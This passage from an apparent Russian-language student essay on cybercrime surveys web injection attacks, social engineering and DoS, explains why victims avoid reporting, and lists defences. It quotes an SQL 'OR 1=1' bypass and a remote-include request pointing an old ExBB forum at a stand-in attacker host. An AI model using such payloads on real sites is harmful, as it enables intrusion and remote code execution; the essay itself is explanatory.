SQL-инъекция — атака, в ходе которой изменяются параметры SQL-запросов к базе данных. В результате запрос приобретает совершенно иной смысл, и в случае недостаточной фильтрации входных данных способен не только произвести вывод конфиденциальной информации, но и изменить/удалить данные. Очень часто такой вид атаки можно наблюдать на примере сайтов, которые используют параметры командной строки (в данном случае — переменные URL) для построения SQL-запросов к базам данных без соответствующей проверки.

SELECT fieldlist FROM table WHERE id = 23 OR 1=1;

Вместо проверки можно подставить утверждение,

которое будучи истинным позволит обойти проверку.

PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP. Он заключается в том, чтобы внедрить специально сформированный злонамеренный сценарий в код веб-приложения на серверной стороне сайта, что приводит к выполнению произвольных команд. Известно, что во многих распространённых в интернете бесплатных движках и форумах, работающих на PHP (чаще всего это устаревшие версии) есть непродуманные модули или отдельные конструкции с уязвимостями. Крэкеры анализируют такие уязвимости, как неэкранированные переменные, получающие внешние значения, например старая уязвимость форума ExBB используется хакерами запросом:

GET
/modules/threadstop/threadstop.php?new_exbb[home_path]=evilhackerscorp.com/tx.txt.

Межсайтовый скриптинг или XSS (аббр. от англ. Cross Site Scripting, не путать с CSS (Cascade Style Sheet)) — тип уязвимостей, обычно обнаруживаемых в веб-приложениях, которые позволяют внедрять код злонамеренным пользователям в веб-страницы, просматриваемые другими пользователями. Примерами такого кода являются HTML-код и скрипты, выполняющиеся на стороне клиента, чаще всего JavaScript.

XPath-инъекция — вид уязвимостей, который заключается во внедрении XPath-выражений в оригинальный запрос к базе данных XML. Как и при остальных видах инъекций, уязвимость возможна ввиду недостаточной проверки входных данных.

Автозалив — веб-инъекция, действующая по принципу троянских программ, основная цель которой заключается во внедрении в аккаунт пользователя в

платежной системе, незаметной подмене данных транзакции путём модификации HTML-кода, и переводе средств пользователя на счёт злоумышленника.

- **Социальная инженерия**

Социальная инженерия (от англ. social engineering) — использование некомпетентности, непрофессионализма или небрежности персонала для получения доступа к информации. Этот метод обычно применяется без компьютера, с использованием обычного телефона или почтовой переписки. Таким образом обычно получается самая разнообразная информация. В ходе такой атаки злоумышленник устанавливает контакт с жертвой, и, вводя её в заблуждение либо войдя в доверие, пытается получить необходимые сведения, которые сложно получить другим путём, либо другие пути являются более рискованными.

- **Отказ в обслуживании. DoS-атака.**

DoS (от англ. Denial of Service — Отказ в обслуживании) — атака, имеющая своей целью заставить сервер не отвечать на запросы. Такой вид атаки не подразумевает получение некоторой секретной информации, но иногда бывает подспорьем в инициализации других атак. Например, некоторые программы из-за ошибок в своём коде могут вызывать исключительные ситуации, и при отключении сервисов способны исполнять код, предоставленный злоумышленником, или атаки лавинного типа, когда сервер не может обработать огромное количество входящих пакетов.

DDoS (от англ. Distributed Denial of Service — Распределенная DoS) — подтип DoS атаки, имеющий ту же цель, что и DoS, но производимой не с одного компьютера, а с нескольких компьютеров в сети. В данных типах атак используется либо возникновение ошибок, приводящих к отказу сервиса, либо срабатывание защиты, приводящей к блокированию работы сервиса, а в результате также к отказу в обслуживании. DDoS используется там, где обычный DoS неэффективен. Для этого несколько компьютеров объединяются, и каждый производит DoS-атаку на систему жертвы. Вместе это называется DDoS-атака.

Любая атака представляет собой не что иное, как попытку использовать несовершенство системы безопасности жертвы либо для получения информации, либо для нанесения вреда системе, поэтому причиной любой удачной атаки является профессионализм крэкера и ценность информации, а также недостаточная компетенция администратора системы безопасности в частности, несовершенство программного обеспечения и недостаточное внимание к вопросам

безопасности в компании в целом.

Глава 5. Причины успешности киберпреступлений

Можно выделить следующие факторы, влияющие на решение потерпевшей стороны не обращаться в правоохранительные органы по факту совершения компьютерного преступления.

1. Некомпетентность сотрудников правоохранительных органов в вопросе установления самого факта совершения компьютерного преступления.
2. Учитывая, что в случае уголовного расследования убытки от расследования могут оказаться выше суммы причиненного ущерба, возмещаемого в судебном порядке, многие организации предпочитают ограничиваться разрешением конфликта своими силами, что нередко завершается принятием мер, не исключающих рецидив компьютерных преступлений.
3. Боязнь подрыва собственного авторитета в деловых кругах и как результат этого — потеря значительного числа клиентов. Эго обстоятельство особенно характерно для банков и крупных финансово-промышленных организаций, занимающихся широкой автоматизацией своих производственных процессов.
4. Неминуемое раскрытие в ходе судебного разбирательства системы безопасности организации, что нежелательно для нее.
5. Боязнь возможности выявления в ходе расследования преступления собственного незаконного механизма осуществления отдельных видов деятельности и проведения финансово-экономических операций.
6. Выявление в ходе расследования компьютерного преступления причин, способствующих его совершению, может поставить под сомнение профессиональную пригодность (компетентность) отдельных должностных лиц, что в конечном итоге приведет к негативным для них последствиям.
7. Правовая и законодательная неграмотность подавляющего большинства должностных лиц в вопросах рассматриваемой категории понятий.

Часто организации имеют весьма далекое представление о реальной ценности информации, содержащейся в их компьютерных системах. Обычно ценность определяется стоимостью ее создания или ее конкурентоспособностью, причем все чаще предпочтение отдается последнему. Диапазон содержащихся в ней данных простирается от производственных секретов и планов до конфиденциальной информации и списков клиентов, которые преступник может использовать с целью

шантажа или в других целях. Эта информация имеет различную ценность для собственника и того лица, которое пытается ее получить. Непосредственная стоимость информации оценивается и с учетом затрат на ее сбор, обработку и хранение, а также рыночной ценой. В то же время на нее влияют и некоторые обстоятельства, связанные с совершением компьютерных преступлений. Необходимо также особо подчеркнуть, что успех расследования уголовных дел в сфере компьютерных технологий зависит от правильной организации и планирования.

Глава 6. Методы защиты от киберпреступников

На основе данных, описанных выше, мы пришли к выводу, что для динамично развивающейся инфраструктуры необходимо проводить регулярный аудит информационной безопасности.

Методы защиты для предприятий:

1. Своевременное обновление антивирусной защиты
2. Установка ПО, блокирующее использование стороннего ПО, не внесенного в «белый» список
3. Фильтровать трафик электронной почты на наличие конфиденциальных данных (в случае использования корпоративных сетей)
4. Проводить своевременные проверки элементарных знаний сотрудников в области информационной защиты
5. Периодически проводить тестирование информационных систем с целью выявления уязвимостей и разрабатывать методику их защиты.

Для домашней сети:

1. Изменять пароли к почтовым ящикам, социальным сетям раз в месяц, обеспечивать привязку к дополнительным устройствам идентификации
2. Установить современную защиту от вирусов, своевременно обновлять базу
3. Не переходить на сайты, у которых нет проверенного сертификата
4. Не скачивать файлы с расширением .exe .doc с неизвестных сайтов, либо с почты от неизвестных людей
5. Не отключать Firewall на домашнем ПК

Заключение

Исследования корпоративных систем показывает, что самые распространенные уязвимости ресурсов сетевого периметра связаны с доступностью интерфейсов управления серверами и сетевым оборудованием (SSH, Telnet, RDP) из внешних сетей. Доля систем, в которых были обнаружены словарные учетные данные, в том числе привилегированных пользователей, по-прежнему высока. Также широко распространены уязвимости, связанные с ошибками в коде веб-приложений.

Для внутрисетевых ресурсов тоже распространены недостатки парольной политики. В корпоративных сетях большинства организаций выявлены недостатки антивирусной защиты и защиты привилегированных учетных записей. Выявлены множественные факты хранения чувствительных данных в открытом виде. По-прежнему распространены недостатки защиты служебных протоколов, позволяющие перенаправлять и перехватывать сетевой трафик.

В отношении уровня осведомленности пользователей в вопросах информационной безопасности наблюдается существенное снижение показателей: значительно увеличилась доля компаний, сотрудники которых осуществляли переход по предоставленным в письмах ссылкам или запускали недоверенное ПО. Более чем для половины исследованных систем уровень осведомленности пользователей в вопросах ИБ оценен как низкий и крайне низкий.

Для проведения атак в большинстве случаев достаточно использовать все те же уязвимости и атаки, которые были распространены в предыдущие годы. Даже в случаях, когда компании спешно устанавливали обновления для такой уязвимости как Heartbleed, другие базовые меры защиты (межсетевое экранирование, сложные пароли, обновления для других компонентов системы) зачастую не применялись. Факты получения доступа к критически важным ресурсам большинства рассмотренных компаний позволяют сделать вывод о необходимости усовершенствования используемых средств и мер обеспечения информационной безопасности, в частности в области парольной политики, защиты веб-приложений, обеспечения регулярных обновлений безопасности и защиты привилегированных учетных записей. Также следует на регулярной основе проводить аудит безопасности информационных систем и работы по тестированию на проникновение со стороны как внешнего, так и внутреннего нарушителя.

Список используемой литературы

1. Преступления, связанные с использованием компьютерной сети/Десятый конгресс ООН по предупреждению преступности и обращению с правонарушителями //A/CONF. 187/10.
2. Доклад X Конгресса ООН по предупреждению преступности и обращению с правонарушителями // Десятый Конгресс ООН по предупреждению преступности и обращению с правонарушителями.
3. Васенин В.А. Информационная безопасность и компьютерный терроризм [Электронный ресурс]. - Режим доступа: www.crime-research.ru.
4. Киберпреступность и кибертерроризм [Электронный ресурс]. - Режим доступа: www.masiev.com
5. https://www.ptsecurity.com - Аудит уязвимостей ИС компанией POSITIVE TECH.
6. https://ru.wikipedia.org/wiki/%D0%A5%D0%B0%D0%BA%D0%B5%D1%80%D1%81%D0%B
список хакерских атак.

Список используемых обозначений

ПО - программное обеспечение

ОС – операционная система